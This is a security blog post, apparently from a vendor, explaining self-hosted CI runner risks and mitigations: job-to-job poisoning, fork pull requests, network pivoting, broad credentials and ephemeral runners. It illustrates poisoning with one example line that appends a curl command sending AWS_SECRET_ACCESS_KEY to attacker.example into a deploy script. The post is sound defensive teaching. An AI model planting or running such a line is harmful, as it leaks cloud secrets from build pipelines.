Self-Hosted CI Runner Security Explained

Self-Hosted CI Runner Security Explained

Written by

in

A self-hosted CI runner is a machine you own that runs your build and test jobs instead of a runner the CI provider spins up and throws away. It gives you faster builds, bigger disks, and access to internal services, but it also changes your risk in ways teams often miss. This post explains self-hosted runner security in plain terms: why one of these runners is risky, how a single job can poison the next one, and how to run one without handing an attacker the keys to your network.

Why self-hosted runner security is different

A hosted runner from your CI provider is born clean and destroyed after the job. Nothing survives. A self-hosted runner is the opposite by default. It is a long lived machine that keeps state between jobs, sits inside your network, and often holds credentials so your builds can reach real systems. Each of those traits is useful. Each is also a way in.

There are four problems worth naming clearly.

  • State carries over. A persistent runner keeps files, caches, and environment changes from one job to the next, so one job can leave something behind that the next job trusts.
  • Fork pull requests can reach it. On a public repository, a pull request from a stranger’s fork can run code on your runner if you let it.
  • It lives in a trusted spot. The runner usually sits inside a network that other systems trust, so a compromise pivots inward instead of stopping at the box.
  • It carries credentials. If the runner has broad cloud access, every job it runs gets that access too.

How one job poisons the next

The core danger of a persistent runner is that jobs are not isolated in time. Job A finishes, job B starts on the same machine, and anything job A wrote is still there. If job B reads a file, a cache, or a tool that job A could edit, then job A gets to influence job B.

Here is a small example. Imagine a runner where an early job builds a helper script and a later job runs it.

# Job A (runs first, maybe from a less trusted branch)
echo 'echo "leak $AWS_SECRET_ACCESS_KEY" | curl -d @- https://attacker.example' >> /opt/ci/tools/deploy.sh

# Job B (runs later, trusted, has real credentials)
bash /opt/ci/tools/deploy.sh

Job A never needed any secret of its own. It only had to write to a path that job B would later trust. When job B runs with the real deploy credentials, the line job A appended runs too, and the secret walks out the door. The same trick works with a poisoned cache, a modified compiler in the PATH, or a leftover config file. The runner remembers, and memory is the weakness.

A persistent runner turns every earlier job into a possible attacker of every later job, because the machine never forgets what the last job did.

Fork pull requests and public repositories

The second problem turns a random person on the internet into a job on your machine. When your repository is public, anyone can open a pull request from their own fork. If your workflow runs on pull_request and that workflow uses a self-hosted runner, a stranger’s code can run on your hardware.

Think about what their job can do. It runs shell commands as your CI user. It can read the files a previous job left behind. It can reach whatever the network lets the runner reach. It can sit quietly and wait for a trusted job to write something it can poison. This is the classic setup behind poisoned pipeline execution, where attacker controlled workflow input turns into code running inside your build. A hosted runner would limit the blast radius to one throwaway box. A persistent self-hosted runner does not.

The safe rule is short: never let untrusted pull requests run on a self-hosted runner. Keep fork builds on ephemeral hosted runners with no secrets, and gate anything sensitive behind a manual approval or a trusted branch.

The runner sits in a trusted network

People put runners on self-hosted machines partly to reach internal things: a private package registry, a staging database, an internal API. That reach is the point, and it is also the danger. Once someone runs code on the runner, they inherit that reach. From the outside your network looks closed. From the runner it looks open.

Picture a runner that can talk to the staging database so integration tests work. An attacker who lands a job on that runner does not stop at the runner. They open a connection to staging, dump what they can, and probe the next host that trusts the runner’s address. The compromise moves inward, one trusted link at a time. This is why CI/CD pipeline security treats the runner as a doorway into the network, not as a sealed box off to the side.

Broad credentials get handed to every job

A runner often holds cloud credentials so builds can push images or deploy. If those credentials are wide, for example an admin role instead of a narrow deploy role, then every job that runs on the runner can use them. The job does not need to steal a password. The credential is already in the environment or on an instance role, waiting to be read.

So a job that should only build a container can, if it wants to, delete a bucket or read every secret in the account. The fix is least privilege: give the runner only the specific permissions the pipeline truly needs, and split the wide, dangerous permissions onto a separate path with its own approval. For the platform specific version of this on GitHub, see our notes on GitHub Actions security.

How to run a self-hosted runner safely

You do not have to give up self-hosted runners. You have to remove the traits that make them dangerous. The theme is simple: start every job from a clean state, keep untrusted code away from real access, and shrink the reach of any job that does run.

  • Use ephemeral runners. Register a fresh runner for one job, then destroy it. A container or virtual machine that resets each time kills the “one job poisons the next” problem at the root, because there is no next job on the same disk.
  • Keep untrusted pull requests off self-hosted runners. Fork builds run on disposable hosted runners with no secrets. Require approval before any workflow with real access runs on your hardware.
  • Isolate the network. Put the runner in its own segment with an allow list of what it may reach. If it does not need the staging database, it should not be able to open a socket to it.
  • Give least privilege. Scope the runner’s cloud role to the exact actions the build needs. Prefer short lived tokens minted per job over long lived keys sitting on the box.
  • Separate sensitive workloads. Do not run deploys and untrusted test builds on the same pool. Keep the runner that holds production access on its own isolated pool that untrusted code can never touch.

Put together, these turn the runner back into something closer to a hosted one: clean each time, walled off, and holding only what one job truly needs. For more teardowns of how build systems get abused, browse our deep dives.

Most self-hosted runner incidents are not exotic. They come from a build trusting something an earlier job was allowed to change, or from an outsider being handed a shell on a machine that could reach too much. Reasoning about those assumptions, what one job silently trusts about the last, is exactly the kind of question an autonomous security researcher is built to ask. Read how we think about it on our about page.

Frequently asked questions

What is a self-hosted CI runner?

A self-hosted CI runner is a machine you own and manage that runs your build and test jobs, instead of a fresh runner the CI provider creates and destroys for each job. It gives you faster builds, bigger disks, and access to internal services, but because it is long lived and keeps state between jobs, it carries more risk than a disposable hosted runner.

Why is a self-hosted runner a security risk?

It keeps files, caches, and tool changes between jobs, so one job can leave something behind that a later trusted job runs. It usually sits inside a network other systems trust, so a compromise pivots inward. And it often holds cloud credentials that every job on it inherits. On a public repository, a pull request from a stranger’s fork can run code on it too.

How does one CI job poison the next one?

On a persistent runner, jobs share the same disk. If an early job can write to a path, cache, or tool that a later job reads, it controls what that later job runs. For example, a low trust job appends a line to a deploy script, and when the trusted job runs that script with real credentials, the attacker’s line runs and leaks the secret.

How do I run a self-hosted runner safely?

Use ephemeral runners that reset every job so nothing carries over. Never let untrusted pull requests run on a self-hosted runner. Isolate the runner in its own network segment with an allow list. Give it least privilege with short lived tokens scoped to what the build needs. And keep sensitive workloads like deploys on a separate pool that untrusted code cannot reach.


Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.